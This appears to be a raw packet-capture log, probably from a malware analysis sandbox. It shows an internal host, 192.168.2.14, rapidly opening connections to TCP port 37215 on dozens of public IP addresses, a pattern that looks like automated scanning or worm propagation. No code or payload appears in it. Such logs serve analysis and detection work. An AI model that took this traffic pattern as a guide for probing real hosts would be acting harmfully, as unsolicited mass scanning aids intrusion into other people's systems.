Sep 25, 2024 14:14:10.031907082 CEST	46004	37215	192.168.2.14	156.79.189.25
Sep 25, 2024 14:14:10.032577991 CEST	56708	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:10.033346891 CEST	40276	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:10.033370018 CEST	40276	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:10.033392906 CEST	37215	49444	156.194.100.66	192.168.2.14
Sep 25, 2024 14:14:10.033870935 CEST	40532	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:10.033879995 CEST	37215	57810	156.205.173.203	192.168.2.14
Sep 25, 2024 14:14:10.033893108 CEST	37215	54704	41.126.121.77	192.168.2.14
Sep 25, 2024 14:14:10.033904076 CEST	37215	52156	156.142.59.249	192.168.2.14
Sep 25, 2024 14:14:10.033916950 CEST	37215	49128	197.187.150.219	192.168.2.14
Sep 25, 2024 14:14:10.033926964 CEST	37215	55844	156.82.22.251	192.168.2.14
Sep 25, 2024 14:14:10.034657001 CEST	60180	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:10.034672976 CEST	60180	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:10.034744978 CEST	37215	49700	156.194.100.66	192.168.2.14
Sep 25, 2024 14:14:10.034782887 CEST	49700	37215	192.168.2.14	156.194.100.66
Sep 25, 2024 14:14:10.035345078 CEST	60436	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:10.036395073 CEST	52352	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:10.036426067 CEST	52352	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:10.036511898 CEST	37215	56452	156.178.255.27	192.168.2.14
Sep 25, 2024 14:14:10.037101030 CEST	52608	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:10.037354946 CEST	37215	56708	156.178.255.27	192.168.2.14
Sep 25, 2024 14:14:10.037420034 CEST	56708	37215	192.168.2.14	156.178.255.27
Sep 25, 2024 14:14:10.037781954 CEST	57158	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:10.037781954 CEST	57158	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:10.037811041 CEST	37215	52648	156.82.102.137	192.168.2.14
Sep 25, 2024 14:14:10.037825108 CEST	37215	53424	41.177.199.135	192.168.2.14
Sep 25, 2024 14:14:10.038218021 CEST	37215	40276	41.190.5.55	192.168.2.14
Sep 25, 2024 14:14:10.038419008 CEST	57414	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:10.038701057 CEST	37215	40532	41.190.5.55	192.168.2.14
Sep 25, 2024 14:14:10.038748980 CEST	40532	37215	192.168.2.14	41.190.5.55
Sep 25, 2024 14:14:10.039458990 CEST	37215	60180	41.125.117.102	192.168.2.14
Sep 25, 2024 14:14:10.039695024 CEST	35812	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:10.039695978 CEST	35812	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:10.040113926 CEST	37215	60436	41.125.117.102	192.168.2.14
Sep 25, 2024 14:14:10.040149927 CEST	60436	37215	192.168.2.14	41.125.117.102
Sep 25, 2024 14:14:10.040688992 CEST	36068	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:10.041193962 CEST	37215	52352	41.149.63.53	192.168.2.14
Sep 25, 2024 14:14:10.041802883 CEST	37215	53366	41.213.184.0	192.168.2.14
Sep 25, 2024 14:14:10.041817904 CEST	37215	54888	41.139.101.133	192.168.2.14
Sep 25, 2024 14:14:10.041914940 CEST	37215	52608	41.149.63.53	192.168.2.14
Sep 25, 2024 14:14:10.041950941 CEST	52608	37215	192.168.2.14	41.149.63.53
Sep 25, 2024 14:14:10.042339087 CEST	57910	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:10.042339087 CEST	57910	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:10.044199944 CEST	37215	57158	156.252.250.218	192.168.2.14
Sep 25, 2024 14:14:10.044563055 CEST	58166	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:10.044698954 CEST	37215	57414	156.252.250.218	192.168.2.14
Sep 25, 2024 14:14:10.044739008 CEST	57414	37215	192.168.2.14	156.252.250.218
Sep 25, 2024 14:14:10.045542002 CEST	37215	35812	41.82.43.36	192.168.2.14
Sep 25, 2024 14:14:10.046060085 CEST	37215	39734	41.192.9.132	192.168.2.14
Sep 25, 2024 14:14:10.046226025 CEST	54830	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:10.046235085 CEST	54830	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:10.046236038 CEST	37215	36068	41.82.43.36	192.168.2.14
Sep 25, 2024 14:14:10.046291113 CEST	36068	37215	192.168.2.14	41.82.43.36
Sep 25, 2024 14:14:10.047240973 CEST	55086	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:10.047275066 CEST	37215	57910	197.0.5.179	192.168.2.14
Sep 25, 2024 14:14:10.048521042 CEST	40712	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:10.048531055 CEST	40712	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:10.049783945 CEST	40968	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:10.049917936 CEST	37215	58166	197.0.5.179	192.168.2.14
Sep 25, 2024 14:14:10.049952984 CEST	58166	37215	192.168.2.14	197.0.5.179
Sep 25, 2024 14:14:10.051335096 CEST	37215	54830	156.189.101.111	192.168.2.14
Sep 25, 2024 14:14:10.051379919 CEST	47260	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:10.051379919 CEST	47260	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:10.052701950 CEST	37215	55086	156.189.101.111	192.168.2.14
Sep 25, 2024 14:14:10.052747965 CEST	55086	37215	192.168.2.14	156.189.101.111
Sep 25, 2024 14:14:10.053370953 CEST	37215	40712	41.4.254.46	192.168.2.14
Sep 25, 2024 14:14:10.053458929 CEST	47516	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:10.053811073 CEST	37215	52282	156.159.53.215	192.168.2.14
Sep 25, 2024 14:14:10.053909063 CEST	37215	43816	156.60.200.195	192.168.2.14
Sep 25, 2024 14:14:10.053921938 CEST	37215	58474	156.10.172.17	192.168.2.14
Sep 25, 2024 14:14:10.053931952 CEST	37215	48382	156.147.64.138	192.168.2.14
Sep 25, 2024 14:14:10.054630041 CEST	37215	40968	41.4.254.46	192.168.2.14
Sep 25, 2024 14:14:10.054819107 CEST	40968	37215	192.168.2.14	41.4.254.46
Sep 25, 2024 14:14:10.055172920 CEST	47494	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:10.055172920 CEST	47494	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:10.056276083 CEST	37215	47260	156.7.11.250	192.168.2.14
Sep 25, 2024 14:14:10.056703091 CEST	47750	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:10.057852030 CEST	37215	60840	41.17.224.245	192.168.2.14
Sep 25, 2024 14:14:10.057868004 CEST	37215	52766	197.103.101.114	192.168.2.14
Sep 25, 2024 14:14:10.058060884 CEST	53884	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:10.058145046 CEST	53884	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:10.058286905 CEST	37215	47516	156.7.11.250	192.168.2.14
Sep 25, 2024 14:14:10.058322906 CEST	47516	37215	192.168.2.14	156.7.11.250
Sep 25, 2024 14:14:10.058847904 CEST	54140	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:10.059871912 CEST	35998	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:10.059892893 CEST	35998	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:10.060198069 CEST	37215	47494	156.217.57.108	192.168.2.14
Sep 25, 2024 14:14:10.060512066 CEST	36254	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:10.061558008 CEST	53560	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:10.061558008 CEST	53560	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:10.061609030 CEST	37215	47750	156.217.57.108	192.168.2.14
Sep 25, 2024 14:14:10.061650038 CEST	47750	37215	192.168.2.14	156.217.57.108
Sep 25, 2024 14:14:10.062777996 CEST	53816	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:10.062963009 CEST	37215	53884	197.11.4.247	192.168.2.14
Sep 25, 2024 14:14:10.063585997 CEST	52332	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:10.063585997 CEST	52332	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:10.063760996 CEST	37215	54140	197.11.4.247	192.168.2.14
Sep 25, 2024 14:14:10.063797951 CEST	54140	37215	192.168.2.14	197.11.4.247
Sep 25, 2024 14:14:10.064089060 CEST	52588	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:10.064567089 CEST	54808	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:10.064579010 CEST	54808	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:10.064752102 CEST	37215	35998	156.207.216.152	192.168.2.14
Sep 25, 2024 14:14:10.065095901 CEST	55064	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:10.065577984 CEST	54928	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:10.065603018 CEST	54928	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:10.065834045 CEST	37215	58812	41.216.108.45	192.168.2.14
Sep 25, 2024 14:14:10.065860033 CEST	37215	39966	156.172.137.208	192.168.2.14
Sep 25, 2024 14:14:10.065881968 CEST	37215	50584	41.214.110.3	192.168.2.14
Sep 25, 2024 14:14:10.066013098 CEST	55184	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:10.066456079 CEST	37215	36254	156.207.216.152	192.168.2.14
Sep 25, 2024 14:14:10.066499949 CEST	36254	37215	192.168.2.14	156.207.216.152
Sep 25, 2024 14:14:10.066556931 CEST	33936	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:10.066569090 CEST	33936	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:10.067071915 CEST	34192	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:10.067873001 CEST	37215	53560	41.135.197.14	192.168.2.14
Sep 25, 2024 14:14:10.067969084 CEST	37632	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:10.067992926 CEST	37632	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:10.068057060 CEST	37215	53816	41.135.197.14	192.168.2.14
Sep 25, 2024 14:14:10.068099976 CEST	53816	37215	192.168.2.14	41.135.197.14
Sep 25, 2024 14:14:10.068531036 CEST	37888	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:10.068588972 CEST	37215	52332	197.210.89.215	192.168.2.14
Sep 25, 2024 14:14:10.069082022 CEST	37215	52588	197.210.89.215	192.168.2.14
Sep 25, 2024 14:14:10.069120884 CEST	52588	37215	192.168.2.14	197.210.89.215
Sep 25, 2024 14:14:10.069286108 CEST	50448	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:10.069308043 CEST	50448	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:10.069367886 CEST	37215	54808	156.26.39.47	192.168.2.14
Sep 25, 2024 14:14:10.069914103 CEST	37215	40752	197.87.102.75	192.168.2.14
Sep 25, 2024 14:14:10.069967031 CEST	37215	55064	156.26.39.47	192.168.2.14
Sep 25, 2024 14:14:10.070008039 CEST	55064	37215	192.168.2.14	156.26.39.47
Sep 25, 2024 14:14:10.070162058 CEST	50704	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:10.070318937 CEST	37215	54928	156.186.222.188	192.168.2.14
Sep 25, 2024 14:14:10.071053028 CEST	37215	55184	156.186.222.188	192.168.2.14
Sep 25, 2024 14:14:10.071129084 CEST	55184	37215	192.168.2.14	156.186.222.188
Sep 25, 2024 14:14:10.071382046 CEST	36708	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:10.071403980 CEST	36708	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:10.071438074 CEST	37215	33936	41.30.78.64	192.168.2.14
Sep 25, 2024 14:14:10.072000027 CEST	36964	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:10.072042942 CEST	37215	34192	41.30.78.64	192.168.2.14
Sep 25, 2024 14:14:10.072091103 CEST	34192	37215	192.168.2.14	41.30.78.64
Sep 25, 2024 14:14:10.072818041 CEST	37215	37632	156.42.73.218	192.168.2.14
Sep 25, 2024 14:14:10.072860956 CEST	39082	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:10.072870970 CEST	39082	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:10.073559999 CEST	39338	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:10.073793888 CEST	37215	49444	156.194.100.66	192.168.2.14
Sep 25, 2024 14:14:10.073853970 CEST	37215	45748	156.79.189.25	192.168.2.14
Sep 25, 2024 14:14:10.073868990 CEST	37215	37888	156.42.73.218	192.168.2.14
Sep 25, 2024 14:14:10.073909044 CEST	37888	37215	192.168.2.14	156.42.73.218
Sep 25, 2024 14:14:10.074615955 CEST	37215	50448	41.173.74.236	192.168.2.14
Sep 25, 2024 14:14:10.074795961 CEST	44062	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:10.074795961 CEST	44062	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:10.075968027 CEST	44318	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:10.076638937 CEST	37215	50704	41.173.74.236	192.168.2.14
Sep 25, 2024 14:14:10.076654911 CEST	37215	36708	197.177.156.30	192.168.2.14
Sep 25, 2024 14:14:10.076683998 CEST	50704	37215	192.168.2.14	41.173.74.236
Sep 25, 2024 14:14:10.076742887 CEST	37646	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:10.076742887 CEST	37646	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:10.076838017 CEST	37215	36964	197.177.156.30	192.168.2.14
Sep 25, 2024 14:14:10.076870918 CEST	36964	37215	192.168.2.14	197.177.156.30
Sep 25, 2024 14:14:10.077395916 CEST	37902	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:10.077775002 CEST	37215	39082	197.86.239.160	192.168.2.14
Sep 25, 2024 14:14:10.078262091 CEST	33496	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:10.078262091 CEST	33496	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:10.078377962 CEST	37215	39338	197.86.239.160	192.168.2.14
Sep 25, 2024 14:14:10.078418970 CEST	39338	37215	192.168.2.14	197.86.239.160
Sep 25, 2024 14:14:10.079026937 CEST	33752	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:10.079622984 CEST	37215	44062	41.177.1.74	192.168.2.14
Sep 25, 2024 14:14:10.080269098 CEST	37068	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:10.080282927 CEST	37068	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:10.080841064 CEST	37215	44318	41.177.1.74	192.168.2.14
Sep 25, 2024 14:14:10.080873013 CEST	44318	37215	192.168.2.14	41.177.1.74
Sep 25, 2024 14:14:10.081094980 CEST	37324	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:10.081640959 CEST	37215	37646	156.39.222.238	192.168.2.14
Sep 25, 2024 14:14:10.081818104 CEST	37215	56452	156.178.255.27	192.168.2.14
Sep 25, 2024 14:14:10.081830025 CEST	37215	52352	41.149.63.53	192.168.2.14
Sep 25, 2024 14:14:10.081840992 CEST	37215	60180	41.125.117.102	192.168.2.14
Sep 25, 2024 14:14:10.081851959 CEST	37215	40276	41.190.5.55	192.168.2.14
Sep 25, 2024 14:14:10.082026958 CEST	58588	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:10.082052946 CEST	58588	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:10.082417011 CEST	37215	37902	156.39.222.238	192.168.2.14
Sep 25, 2024 14:14:10.082458019 CEST	37902	37215	192.168.2.14	156.39.222.238
Sep 25, 2024 14:14:10.083162069 CEST	37215	33496	156.190.179.85	192.168.2.14
Sep 25, 2024 14:14:10.083287001 CEST	58844	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:10.083868980 CEST	37215	33752	156.190.179.85	192.168.2.14
Sep 25, 2024 14:14:10.083900928 CEST	33752	37215	192.168.2.14	156.190.179.85
Sep 25, 2024 14:14:10.084240913 CEST	44828	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:10.084264040 CEST	44828	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:10.084978104 CEST	45084	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:10.085073948 CEST	37215	37068	41.114.110.174	192.168.2.14
Sep 25, 2024 14:14:10.085822105 CEST	37215	35812	41.82.43.36	192.168.2.14
Sep 25, 2024 14:14:10.085834980 CEST	37215	57158	156.252.250.218	192.168.2.14
Sep 25, 2024 14:14:10.086287022 CEST	42856	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:10.086287022 CEST	42856	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:10.086826086 CEST	37215	37324	41.114.110.174	192.168.2.14
Sep 25, 2024 14:14:10.086862087 CEST	37324	37215	192.168.2.14	41.114.110.174
Sep 25, 2024 14:14:10.086904049 CEST	37215	58588	41.89.167.118	192.168.2.14
Sep 25, 2024 14:14:10.087529898 CEST	43112	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:10.088115931 CEST	37215	58844	41.89.167.118	192.168.2.14
Sep 25, 2024 14:14:10.088320971 CEST	58844	37215	192.168.2.14	41.89.167.118
Sep 25, 2024 14:14:10.089024067 CEST	41444	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:10.089024067 CEST	41444	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:10.089133978 CEST	37215	44828	156.135.251.155	192.168.2.14
Sep 25, 2024 14:14:10.089709044 CEST	37215	45084	156.135.251.155	192.168.2.14
Sep 25, 2024 14:14:10.089747906 CEST	45084	37215	192.168.2.14	156.135.251.155
Sep 25, 2024 14:14:10.089821100 CEST	37215	57910	197.0.5.179	192.168.2.14
Sep 25, 2024 14:14:10.089884996 CEST	41700	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:10.091063976 CEST	52532	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:10.091073990 CEST	52532	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:10.091149092 CEST	37215	42856	197.58.228.114	192.168.2.14
Sep 25, 2024 14:14:10.091504097 CEST	52788	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:10.092358112 CEST	37215	43112	197.58.228.114	192.168.2.14
Sep 25, 2024 14:14:10.092394114 CEST	43112	37215	192.168.2.14	197.58.228.114
Sep 25, 2024 14:14:10.092488050 CEST	60920	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:10.092488050 CEST	60920	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:10.093091965 CEST	32944	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:10.093650103 CEST	53682	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:10.093650103 CEST	53682	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:10.093821049 CEST	37215	54830	156.189.101.111	192.168.2.14
Sep 25, 2024 14:14:10.093835115 CEST	37215	40712	41.4.254.46	192.168.2.14
Sep 25, 2024 14:14:10.093848944 CEST	37215	41444	41.165.106.77	192.168.2.14
Sep 25, 2024 14:14:10.094057083 CEST	53938	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:10.094681978 CEST	37720	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:10.094681978 CEST	37720	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:10.094892979 CEST	37215	41700	41.165.106.77	192.168.2.14
Sep 25, 2024 14:14:10.094928980 CEST	41700	37215	192.168.2.14	41.165.106.77
Sep 25, 2024 14:14:10.095046997 CEST	37976	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:10.096424103 CEST	34244	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:10.096424103 CEST	34244	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:10.096693993 CEST	37215	52532	197.73.214.226	192.168.2.14
Sep 25, 2024 14:14:10.096770048 CEST	37215	52788	197.73.214.226	192.168.2.14
Sep 25, 2024 14:14:10.096805096 CEST	52788	37215	192.168.2.14	197.73.214.226
Sep 25, 2024 14:14:10.097388983 CEST	34500	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:10.097455978 CEST	37215	60920	41.134.91.195	192.168.2.14
Sep 25, 2024 14:14:10.097870111 CEST	37215	32944	41.134.91.195	192.168.2.14
Sep 25, 2024 14:14:10.097910881 CEST	32944	37215	192.168.2.14	41.134.91.195
Sep 25, 2024 14:14:10.097935915 CEST	37560	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:10.097935915 CEST	37560	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:10.098320961 CEST	37816	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:10.098474026 CEST	37215	53682	41.75.87.189	192.168.2.14
Sep 25, 2024 14:14:10.098792076 CEST	37215	53938	41.75.87.189	192.168.2.14
Sep 25, 2024 14:14:10.098849058 CEST	53938	37215	192.168.2.14	41.75.87.189
Sep 25, 2024 14:14:10.099524021 CEST	38110	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:10.099524021 CEST	38110	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:10.099529982 CEST	37215	37720	197.23.164.92	192.168.2.14
Sep 25, 2024 14:14:10.100075960 CEST	37215	37976	197.23.164.92	192.168.2.14
Sep 25, 2024 14:14:10.100112915 CEST	37976	37215	192.168.2.14	197.23.164.92
Sep 25, 2024 14:14:10.101300955 CEST	37215	34244	156.137.155.99	192.168.2.14
Sep 25, 2024 14:14:10.101835012 CEST	37215	47260	156.7.11.250	192.168.2.14
Sep 25, 2024 14:14:10.101861000 CEST	37215	47494	156.217.57.108	192.168.2.14
Sep 25, 2024 14:14:10.102138042 CEST	38366	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:10.102261066 CEST	37215	34500	156.137.155.99	192.168.2.14
Sep 25, 2024 14:14:10.102292061 CEST	34500	37215	192.168.2.14	156.137.155.99
Sep 25, 2024 14:14:10.102848053 CEST	37215	37560	41.251.248.239	192.168.2.14
Sep 25, 2024 14:14:10.103243113 CEST	37215	37816	41.251.248.239	192.168.2.14
Sep 25, 2024 14:14:10.103281975 CEST	37816	37215	192.168.2.14	41.251.248.239
Sep 25, 2024 14:14:10.104327917 CEST	46528	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:10.104327917 CEST	46528	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:10.105179071 CEST	37215	38110	197.231.175.245	192.168.2.14
Sep 25, 2024 14:14:10.105427980 CEST	46784	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:10.105843067 CEST	37215	35998	156.207.216.152	192.168.2.14
Sep 25, 2024 14:14:10.105858088 CEST	37215	53884	197.11.4.247	192.168.2.14
Sep 25, 2024 14:14:10.106946945 CEST	37215	38366	197.231.175.245	192.168.2.14
Sep 25, 2024 14:14:10.107065916 CEST	38366	37215	192.168.2.14	197.231.175.245
Sep 25, 2024 14:14:10.107175112 CEST	57708	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:10.107175112 CEST	57708	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:10.109040976 CEST	57964	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:10.109127045 CEST	37215	46528	41.2.163.52	192.168.2.14
Sep 25, 2024 14:14:10.110241890 CEST	37215	46784	41.2.163.52	192.168.2.14
Sep 25, 2024 14:14:10.110322952 CEST	46784	37215	192.168.2.14	41.2.163.52
Sep 25, 2024 14:14:10.110591888 CEST	41636	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:10.110591888 CEST	41636	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:10.111496925 CEST	41892	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:10.112143040 CEST	37215	57708	156.150.87.77	192.168.2.14
Sep 25, 2024 14:14:10.112875938 CEST	42912	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:10.112875938 CEST	42912	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:10.113831043 CEST	37215	54808	156.26.39.47	192.168.2.14
Sep 25, 2024 14:14:10.113847017 CEST	37215	52332	197.210.89.215	192.168.2.14
Sep 25, 2024 14:14:10.113857985 CEST	37215	53560	41.135.197.14	192.168.2.14
Sep 25, 2024 14:14:10.113892078 CEST	37215	37632	156.42.73.218	192.168.2.14
Sep 25, 2024 14:14:10.113904953 CEST	37215	33936	41.30.78.64	192.168.2.14
Sep 25, 2024 14:14:10.113915920 CEST	37215	54928	156.186.222.188	192.168.2.14
Sep 25, 2024 14:14:10.113930941 CEST	37215	57964	156.150.87.77	192.168.2.14
Sep 25, 2024 14:14:10.113975048 CEST	57964	37215	192.168.2.14	156.150.87.77
Sep 25, 2024 14:14:10.114399910 CEST	43168	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:10.115400076 CEST	37215	41636	197.97.88.153	192.168.2.14
Sep 25, 2024 14:14:10.116046906 CEST	59754	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:10.116066933 CEST	59754	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:10.116342068 CEST	37215	41892	197.97.88.153	192.168.2.14
Sep 25, 2024 14:14:10.116442919 CEST	41892	37215	192.168.2.14	197.97.88.153
Sep 25, 2024 14:14:10.117065907 CEST	60010	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:10.117700100 CEST	37215	42912	156.56.63.6	192.168.2.14
Sep 25, 2024 14:14:10.117827892 CEST	37215	39082	197.86.239.160	192.168.2.14
Sep 25, 2024 14:14:10.117839098 CEST	37215	36708	197.177.156.30	192.168.2.14
Sep 25, 2024 14:14:10.117849112 CEST	37215	50448	41.173.74.236	192.168.2.14
Sep 25, 2024 14:14:10.118474007 CEST	54450	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:10.118488073 CEST	54450	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:10.119223118 CEST	37215	43168	156.56.63.6	192.168.2.14
Sep 25, 2024 14:14:10.119265079 CEST	43168	37215	192.168.2.14	156.56.63.6
Sep 25, 2024 14:14:10.120098114 CEST	54706	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:10.120846033 CEST	37215	59754	197.8.24.240	192.168.2.14
Sep 25, 2024 14:14:10.121211052 CEST	56820	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:10.121211052 CEST	56820	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:10.121813059 CEST	37215	37646	156.39.222.238	192.168.2.14
Sep 25, 2024 14:14:10.121838093 CEST	37215	44062	41.177.1.74	192.168.2.14
Sep 25, 2024 14:14:10.121855021 CEST	37215	60010	197.8.24.240	192.168.2.14
Sep 25, 2024 14:14:10.121890068 CEST	60010	37215	192.168.2.14	197.8.24.240
Sep 25, 2024 14:14:10.122081041 CEST	57076	37215	192.168.2.14	156.202.78.248
Sep 25, 2024 14:14:10.123328924 CEST	37215	54450	197.219.223.91	192.168.2.14
Sep 25, 2024 14:14:10.123507977 CEST	56118	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:10.123507977 CEST	56118	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:10.124708891 CEST	56374	37215	192.168.2.14	41.185.23.149
Sep 25, 2024 14:14:10.125173092 CEST	37215	54706	197.219.223.91	192.168.2.14
Sep 25, 2024 14:14:10.125224113 CEST	54706	37215	192.168.2.14	197.219.223.91
Sep 25, 2024 14:14:10.125865936 CEST	34736	37215	192.168.2.14	197.62.234.103
Sep 25, 2024 14:14:10.125869989 CEST	45158	37215	192.168.2.14	156.129.215.226
Sep 25, 2024 14:14:10.125886917 CEST	42874	37215	192.168.2.14	156.182.203.125
Sep 25, 2024 14:14:10.125886917 CEST	32890	37215	192.168.2.14	197.4.255.13
Sep 25, 2024 14:14:10.125886917 CEST	42510	37215	192.168.2.14	197.172.82.145
Sep 25, 2024 14:14:10.125896931 CEST	53956	37215	192.168.2.14	41.204.214.55
Sep 25, 2024 14:14:10.125906944 CEST	46834	37215	192.168.2.14	156.5.157.97
Sep 25, 2024 14:14:10.125906944 CEST	57666	37215	192.168.2.14	41.161.47.162
Sep 25, 2024 14:14:10.125912905 CEST	39746	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:10.125916958 CEST	33088	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:10.125916958 CEST	56230	37215	192.168.2.14	197.22.8.23
Sep 25, 2024 14:14:10.125919104 CEST	57318	37215	192.168.2.14	197.213.83.147
Sep 25, 2024 14:14:10.125943899 CEST	59376	37215	192.168.2.14	41.236.198.95
Sep 25, 2024 14:14:10.125943899 CEST	53348	37215	192.168.2.14	197.232.113.246
